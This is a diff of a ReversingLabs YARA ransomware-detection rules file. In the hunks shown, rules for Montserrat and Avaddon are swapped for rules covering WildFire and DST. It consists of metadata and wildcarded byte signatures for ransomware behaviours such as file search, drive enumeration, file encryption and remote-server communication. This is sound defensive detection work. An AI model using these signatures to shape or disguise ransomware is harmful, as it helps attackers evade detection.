+            75 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ??
+            8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 45 ?? 50 E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($write_proc_mem) and ($generate_key) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Montserrat : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wildfire : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Montserrat ransomware."
+		description = "Yara rule that detects WildFire ransomware."
 		author = "ReversingLabs"
-		id = "deeb5f1a-1329-5964-93e1-8ca6a20fcd89"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "0c44f017-703c-5db7-b777-62fcd181af9a"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Montserrat.yara#L1-L118"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c8782a8cb2b87e76ff1f804ee8affd01405827d0914ea725bb0e9ddace7dde10"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara#L1-L77"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d3be2eac7967853aae6e1317d9c22d95a3dc4b3e5bf8acbe97a7bbeabc9eab38"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33498,108 +35115,78 @@ rule REVERSINGLABS_Win32_Ransomware_Montserrat : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Montserrat"
+		tc_detection_name = "WildFire"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
-            7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ??
-            03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F
-            5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ??
-            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ??
-            89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ??
-            ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ??
-            8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ??
-            8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7
-        }
-		$find_files_p2 = {
-            EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50
-            57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD
-            5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85
-            ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ??
-            ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D
-            ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8
-            ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
-            83 C4 ?? E9
-        }
-		$encrypt_files_p1 = {
-            8B FF 55 8B EC 83 EC ?? 53 56 57 FF 75 ?? 8D 45 ?? FF 75 ?? FF 75 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 7D ?? 8B F0 6A ?? 59 F3 A5 83 CE ?? 39 75 ?? 75 ?? E8 ?? ?? ?? ?? 83
-            20 ?? 8B 45 ?? 89 30 E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 89
-            03 3B C6 75 ?? E8 ?? ?? ?? ?? 83 20 ?? 89 33 E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ??
-            8B 45 ?? 8D 75 ?? 83 65 ?? ?? 33 C9 41 C7 45 ?? ?? ?? ?? ?? 83 EC ?? 89 08 8B 45 ??
-            C1 E8 ?? F7 D0 23 C1 6A ?? 59 89 45 ?? 8B FC 8D 45 ?? 50 FF 75 ?? F3 A5 E8 ?? ?? ??
-            ?? 8B F8 83 C4 ?? 89 7D ?? BA ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 4D ?? 8B C1 23 C2 3B C2
-            75 ?? F6 45 ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 81 E1 ?? ?? ?? ?? 8D 75 ?? 89 4D ?? 6A ??
-            59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 7D ?? 83 FF ?? 75 ?? 8B
-            0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
-            ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 59 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 57 8B 04
-            85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ?? ?? ?? 85 F6 0F 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8A 45 ?? 0C ?? EB ?? 83 F8 ?? 8A
+		$encrypt_files = {
+            00 02 19 17 73 ?? ?? ?? ?? 0A 1B 8D ?? ?? ?? ?? 25 16 02 16 02 [5-10] 6F ?? ?? ?? ??
+            6F ?? ?? ?? ?? A2 25 17 [5-10] A2 25 18 7E ?? ?? ?? ?? A2 25 19 [5-10] A2 25 1A 02 02
+            [5-10] 6F ?? ?? ?? ?? 17 D6 6F ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0B 07 [5-10] 28 ?? ?? ??
+            ?? 1A 18 73 ?? ?? ?? ?? 0C 08 21 00 00 00 00 00 00 00 00 6F ?? ?? ?? ?? 20 ?? ?? ?? ??
+            8D ?? ?? ?? ?? 0D 21 00 00 00 00 00 00 00 00 13 ?? 06 6F ?? ?? ?? ?? 13 ?? 73 ?? ?? ??
+            ?? 13 ?? 08 11 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ??
+            2B ?? 06 09 16 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 09 16 11 ?? 6F ?? ?? ?? ?? 11
+            ?? 11 ?? 6A D6 13 ?? 11 ?? 11 ?? FE ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 08
+            6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? DE ?? 2A
         }
-		$encrypt_files_p2 = {
-            45 ?? 75 ?? 0C ?? 57 FF 33 88 45 ?? E8 ?? ?? ?? ?? 8A 55 ?? 59 59 8B 0B 80 CA ?? 8B
-            C1 88 55 ?? 83 E1 ?? C1 F8 ?? 6B C9 ?? 88 55 ?? 8B 04 85 ?? ?? ?? ?? 88 54 08 ?? 8B
-            0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? F6 45 ?? ?? 8B 04 85 ?? ?? ?? ?? C6 44 08 ?? ??
-            74 ?? FF 33 E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 8D 45 ?? C6 45 ?? ?? 50 FF 75 ?? 8D
-            75 ?? 83 EC ?? 6A ?? 59 8B FC FF 33 F3 A5 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B F0
-            FF 33 E8 ?? ?? ?? ?? 59 8B C6 E9 ?? ?? ?? ?? 8B 03 8B C8 83 E0 ?? C1 F9 ?? 6B D0 ??
-            8A 45 ?? 8B 0C 8D ?? ?? ?? ?? 88 44 11 ?? 8B 0B 8B C1 C1 F8 ?? 83 E1 ?? 6B D1 ?? 8B
-            0C 85 ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 32 44 11 ?? 24 ?? 30 44 11 ?? F6 45 ?? ?? 75 ??
-            F6 45 ?? ?? 74 ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 4C
-            08 ?? ?? 8B 75 ?? B9 ?? ?? ?? ?? 8B C6 23 C1 3B C1 0F 85 ?? ?? ?? ?? F6 45 ?? ?? 74
-            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 81 E6 ?? ?? ?? ?? 89 75 ?? 8D 75 ??
-            6A ?? 59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B D0 83 C4 ?? 83 FA ?? 75 ?? FF 15
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ??
-            ?? ?? 80 64 08 ?? ?? FF 33 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 0B 8B C1 C1 F8 ?? 83
-            E1 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 89 54 08 ?? 33 C0 5F 5E 5B 8B E5 5D C3
+		$enum_drives = {
+            00 00 28 ?? ?? ?? ?? 1F ?? 0A 18 0C 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 0C 28 ?? ?? ?? ?? 0D 1A
+            0C 09 13 ?? 16 13 ?? 11 ?? 11 ?? 8E 69 FE ?? 2C ?? 11 ?? 11 ?? 9A 13 ?? 1B 0C 11 ??
+            6F ?? ?? ?? ?? 2C ?? 1C 0C 11 ?? 6F ?? ?? ?? ?? 19 FE ?? 16 FE ?? 65 18 60 1A 60 11
+            ?? 6F ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? ?? ?? ?? FE ?? 16 FE ?? 65 5F 16 FE ?? 2C ?? 1D
+            0C 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1E 0C 11 ?? 6F ?? ?? ?? ??
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B
         }
-		$shutdown_services_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F9 8B 75 ?? 8B 1D
-            ?? ?? ?? ?? FF D3 83 7E ?? ?? 89 45 ?? 72 ?? 8B 36 6A ?? 56 FF 37 FF 15 ?? ?? ?? ??
-            8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? 8B
-            4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ??
-            ?? 83 F8 ?? 75 ?? 66 90 FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A
-            ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF D3 2B 45 ?? 3B
-            47 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B CF E8
-            ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84
+		$file_search = {
+            A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10]
+            A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 0D 19 0C 19 8D ?? ?? ?? ??
+            25 16 [5-10] A2 25 17 [5-10] A2 25 18 [5-10] A2 13 04 1A 0C 02 28 ?? ?? ?? ?? 13 ?? 1B
+            0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? (30 | 3D) [1-4] 1C 0C 11 ?? 11 ?? 9A 28
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1D 0C 09 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 9A [5-10] 6F
+            ?? ?? ?? ?? 16 FE ?? 5F 11 ?? 11 ?? 9A 1F ?? 28 ?? ?? ?? ?? [5-10] 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 16 FE ?? 5F 11 ?? [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 5F 2C ?? 1E 0C 11 ?? 11 ??
+            9A 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? (38 | 2B) [1-4] 1F ?? 0C 02 28 ?? ?? ?? ??
+            13 ?? 1F ?? 0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? 30 ?? 1F ?? 0C 11 ?? 11 ??
+            11 ?? 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE ?? 2C ?? 1F ?? 0C 11 ?? 11 ?? 9A 28 ?? ??
+            ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B ?? 1F ?? 0C 02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F
+            ?? ?? ?? ?? 8E 69 17 DA 18 FE ?? 16 FE ?? 2C ?? 1F ?? 0C 02 16 28 ?? ?? ?? ?? DD ?? ??
+            ?? ?? 07 17 58 16 0B 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? DE
         }
-		$shutdown_services_p2 = {
-            FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF D3 2B 45 ?? 3B 47 ?? 0F 87
-            ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8
-            ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68
+		$remote_server_communication_1 = {
+            00 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 9A [5-10] 28 ??
+            ?? ?? ?? 0B 02 [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 02 [5-10] 16 28 ?? ?? ??
+            ?? 16 FE ?? 39 ?? ?? ?? ?? 1D 8D ?? ?? ?? ?? 25 16 [5-10] A2 25 17 02 A2 25 18 [5-10] A2
+            25 19 7E ?? ?? ?? ?? A2 25 1A [5-10] A2 25 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1C [5-10]
+            A2 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ??
+            [5-10] 11 ?? 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 07
+            28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 11 ?? [5-10] 6F ?? ?? ?? ?? 11 ?? [5-10] 6F ?? ?? ?? ??
+            11 ?? 11 ?? 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ??
+            ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ??
+            74 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($shutdown_services_p*))
+		uint16(0)==0x5A4D and $enum_drives and $file_search and $encrypt_files and $remote_server_communication_1
 }
-rule REVERSINGLABS_Win32_Ransomware_Avaddon : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_DST : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Avaddon ransomware."
+		description = "Yara rule that detects DST ransomware."
 		author = "ReversingLabs"
-		id = "f3a57482-5799-594b-bcfa-1137ca04dfd5"
-		date = "2020-10-19"
-		modified = "2020-10-19"
+		id = "bcc9933d-14eb-5f83-a136-5f009c7a3282"
+		date = "2021-12-06"
+		modified = "2021-12-06"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Avaddon.yara#L1-L148"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1b2c449d5bad02dd06cb4a980fcca1feaf02b1d8127096bb39deecbc544272a6"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.DST.yara#L1-L170"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b658093232a2265d425e3b38758268c116bbac51fa5eed372b5b4f00de4c6880"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33607,132 +35194,158 @@ rule REVERSINGLABS_Win32_Ransomware_Avaddon : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Avaddon"
+		tc_detection_name = "DST"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
-            7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 5B C9 C3 56 8D 5F
-            ?? 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ??
-            59 EB ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E EB ?? 33
-            C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74 ?? 0F
-            B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B 8D ??
-            ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ?? ?? ??
-            ?? 83 C4 ?? E9 ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA
-            42 F7 D8 1B C0 33 FF 57 57 23 C2 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 53 FF
-            15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83
-            C4 ?? 8B F8 E9 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39
-            8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD
-            ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ??
-            ?? 59 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ??
-            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B F8 56 FF 15 ?? ?? ??
-            ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
 		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 45 ?? 8B
-            7D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45 ?? ??
-            ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84
+            4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC
+            24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ??
+            ?? 48 89 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48
+            89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 4C 24 ??
+            31 C9 31 FF E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB
+            0F 85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D ?? ??
+            ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ??
+            ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 0F 1F 00
+            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ??
+            ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB 0F 85
+            ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D
         }
 		$encrypt_files_p2 = {
-            6A ?? 8D 45 ?? 0F 57 C0 50 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 68 ?? ?? ??
-            ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75
-            ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 F6 39 75 ?? 0F 86 ?? ?? ?? ?? 83
-            7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 4D ?? 03 C6
-            50 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F
